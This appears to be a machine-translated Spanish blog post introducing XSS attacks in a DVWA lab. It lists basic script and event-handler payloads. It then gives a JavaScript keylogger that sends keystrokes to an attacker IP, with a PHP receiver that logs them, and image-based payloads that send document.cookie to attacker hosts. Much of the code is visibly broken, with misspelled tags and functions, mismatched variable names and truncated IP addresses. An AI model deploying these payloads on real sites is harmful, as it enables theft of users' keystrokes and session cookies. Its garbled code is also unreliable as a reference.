Xiaoliang xss

Estudio preliminar y métodos de ataque de ataques de vulnerabilidad XSS

1. Introducción básica
Los ataques XSS generalmente se refieren al uso de lagunas que quedan durante el desarrollo de la página web para inyectar códigos de instrucciones maliciosos en las páginas web a través de métodos inteligentes para que los usuarios puedan cargar y ejecutar programas web creados maliciosamente por el atacante. Estos programas web maliciosos suelen ser JavaScript, pero de hecho también pueden incluir Java, VBScript, ActiveX, Flash o incluso HTML simple. Una vez que el ataque tiene éxito, el atacante puede obtener varios contenidos, incluidos, entre otros, permisos superiores (como realizar algunas operaciones), contenido web privado, sesiones, cookies, etc.

2. Tipos principales:
tipo de almacenamiento (persistencia)
tipo reflectante (no persistente)
tipo DOM

3. Escenarios de uso

    直接嵌入html:<script>alert('xss');</script>
    元素标签事件:<body onlad=alert('xss')>
    图片标签:<img src="javascript:alert('xss');">
    其他标签:<iframe>,<div>,and <link>

4. Poc de vulnerabilidad
Inserte la descripción de la imagen aquí

Explicación:
... onclick: haga clic para activar

… Onerror: el evento se activa cuando ocurre un error durante la carga de datos de audio / video. (La dirección proporcionada es una dirección inexistente)

… El objeto Window.location se utiliza para obtener la dirección (URL) de la página actual y redirigir el navegador a una nueva página. Función: (saltar al sitio establecido por el pirata informático y robar la cuenta y la contraseña ingresadas por el usuario)
Expansión: El objeto window.location se puede escribir sin el prefijo de ventana. Algunos ejemplos:
algunos ejemplos:
location.hostname devuelve el nombre de dominio de la
ubicación del host web.pathname devuelve la ruta y el nombre de archivo de la
ubicación de la página actual.port devuelve el puerto del host web (80 o 443)
location.protocol devuelve el protocolo web utilizado (http: O https :)

… El elemento iframe crea un marco en línea que contiene otro documento (es decir, un marco en línea)

… La última oración significa alterar la página de inicio del servidor de destino para mostrar el contenido de tipo de reflexión interno agregado.

5. Ejemplos de vulnerabilidades de reflexión (podemos atacar la aplicación web del cliente para que las pulsaciones del teclado del cliente en esta página se devuelvan al atacante)
script js:

Document.onkeypress = function(evt){
    
    
evt = evt || window.event
key = String.fromCharCode(evt.charCode)
if (key){
    
    
var http = new XMLHttpRequest();
var param = encodeURl(key)
http.open("POST","http://192.168.20.8/keylogger.php",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("key="+param);
}
}

php recibiendo código:

<?php
$key=$_POST['key];
$loafile="keylog.txt";
$fp = fopen($logfile, "a");
fwite($fp,$key);
.  fclose($fg);

keylogger.php (datos recibidos) Por lo tanto, es necesario crear un archivo keylog.txt en php para que se puedan mostrar los datos devueltos por el atacante

Finalmente, agregue la dirección IP del atacante y la dirección IP del atacado para lograr el ataque.

<script土src="http://1.1.1.1/keylogger.js"></script>
<a href="http://192.168.20.10/dvwa/vulnerabilities/xss_r/?name=<script+src='http://192.168.20.8/keylogger.js'></script>">xss</ a>

6: Vulnerabilidades de almacenamiento: (la mayoría de ellas existen en el tablero de mensajes) (lo que significa que el almacenamiento a largo plazo en el lado del servidor se ejecutará cada vez que el usuario visite el script js)
Pequeño ejemplo: (al monitorear el puerto 88 para lograr el robo de valores de cookies de usuario)

<srcipt src=http://1.1.1./a.js></script>

script js

.var img=new  image().img.src="http://1.1.1.:88/cookies.php&cookie="+document.cookie;

7. Plantilla DOM:

Significa robar cosas de elementos a archivos a cosas específicasInserte la descripción de la imagen aquí

Por ejemplo,
use el formato estándar API para crear un elemento de página img para definir la dirección de imagen del propio atacante y usarlo para robar valores de cookies

<script>var
img=document.createElement("img");img.src="http://192.168.20.8:88/log&"+escape(document.cookie);</script>

Supongo que te gusta

Origin blog.csdn.net/zl52111/article/details/115019752
Recomendado
Clasificación